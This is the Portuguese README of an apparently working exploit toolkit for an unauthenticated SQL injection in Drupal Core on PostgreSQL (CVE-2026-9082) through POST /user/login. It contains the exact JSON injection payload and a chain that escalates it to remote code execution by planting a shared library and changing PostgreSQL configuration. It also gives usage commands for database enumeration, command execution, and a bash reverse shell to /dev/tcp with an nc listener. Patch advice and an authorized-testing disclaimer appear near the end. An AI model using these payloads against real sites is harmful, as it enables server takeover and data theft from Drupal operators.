
# SQLi no PostgreSQL do Drupal Core para RCE via /user/login (CVE-2026-9082 / SA-CORE-2026-004)
Injeção SQL não autenticada no Drupal Core no PostgreSQL via POST /user/login, escalada para execução remota de código através do session_preload_libraries do PostgreSQL.
Ao contrário dos exploits públicos existentes que visam JSON:API, este usa o endpoint de login — sempre disponível, sem necessidade de módulos ou conteúdo publicado.
Aviso: SA-CORE-2026-004 | Risco: 23/25 (Altamente Crítico) | CISA KEV
Apenas sites Drupal que utilizam PostgreSQL são vulneráveis.
| Ramo | Vulnerável | Corrigido |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | Todos | Fim de vida útil - atualize |
O manipulador de condições de consulta de entidade PostgreSQL do Drupal (core/modules/pgsql/src/EntityQuery/Condition.php) constrói condições IN insensíveis a maiúsculas/minúsculas ao iterar $condition['value'] como um array associativo e concatenar chaves controladas pelo usuário diretamente em identificadores de placeholders PDO — o SQL gerado contém LOWER(:<prefix><key>) onde <key> vem literalmente do atacante.
Este caminho de código só é alcançado quando duas condições são atendidas: is_array($condition['value']) e $case_sensitive === FALSE. É por isso que apenas PostgreSQL é afetado — MySQL e SQLite não possuem este ramo LOWER() insensível a maiúsculas/minúsculas.
O analisador de parâmetros nomeados do PDO reconhece apenas [a-zA-Z0-9_] após o :. Caracteres fora desse conjunto (como | ou )) encerram o token do placeholder. Então uma chave como 0||(subquery) produz um placeholder :prefix0 (compartilhado com a chave legítima 0) mais o SQL literal ||(subquery) que chega ao PostgreSQL sem parametrização.
A correção é uma única chamada array_values() que descarta as chaves fornecidas pelo atacante antes da geração do SQL.
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
O campo name é enviado como um objeto JSON em vez de uma string. O Drupal o passa para uma condição IN de consulta de entidade com comparação insensível a maiúsculas/minúsculas. Para cada chave do array, o Drupal gera LOWER(:<prefix><key>) no SQL. A consulta resultante se parece com:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
O PDO reconhece :users_field_data_name0 como o placeholder em ambas as entradas (parando em | na segunda) e vincula ambas a 'x'. O restante ||(SELECT ...) passa como SQL literal. Após a substituição, o PostgreSQL recebe:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
O CAST(... AS int) falha em dados não inteiros, e a mensagem de erro vaza o resultado da consulta.
Quando o usuário do banco de dados é um superusuário PostgreSQL, a injeção apenas SELECT pode ser escalada para RCE:
data_directory, status de superusuário.so com _PG_init() chamando system().so para data_directory via large objects (lo_create -> lo_put -> lo_export)postgresql.auto.conf para definir session_preload_libraries e dynamic_library_pathpg_reload_conf()pg_read_file()SQL injection (cve_2026_9082_check.py):
Execução remota de código (cve_2026_9082_rce.py):
docker disponível localmente (para cross-compilação no macOS)pip install -r requirements.txt
# Validar a injeção SQL
python3 cve_2026_9082_check.py http://target:8081
# Com um proxy (Burp, mitmproxy, etc.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# Listar todos os bancos de dados
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# Listar tabelas em um banco de dados
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# Listar colunas em uma tabela
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# Executar um comando
python3 cve_2026_9082_rce.py http://target:8081 "id"
# Reverse shell
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# Ouvinte
nc -lvnp 4444
Validação de SQLi contra uma instância vulnerável:

Enumeração de banco de dados via injeção baseada em erros:

Escalação para execução remota de código:

Atualize o Drupal imediatamente para uma versão corrigida:
Se não puder atualizar imediatamente:
POST /user/login com objetos JSON no campo nameCorreções e detalhes: SA-CORE-2026-004
| Data | Evento |
|---|---|
| 2026-05-20 | Drupal publica SA-CORE-2026-004, correções lançadas |
| 2026-05-22 | Exploração ativa na natureza, adicionado ao CISA KEV |
| 2026-05-26 | Ambionics publica técnica SQLi-para-RCE via JSON:API |
| 2026-06-07 | Esta ferramenta lançada |
/user/login) descrito por bitk & jfellus (YesWeHack)session_preload_libraries) por N. Maccary / Ambionics (Lexfo)/user/login por r0m41nEsta ferramenta é fornecida para testes de segurança autorizados e fins educacionais apenas.
O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por qualquer uso indevido deste software. Sempre obtenha a devida autorização antes de testar sistemas que você não possui.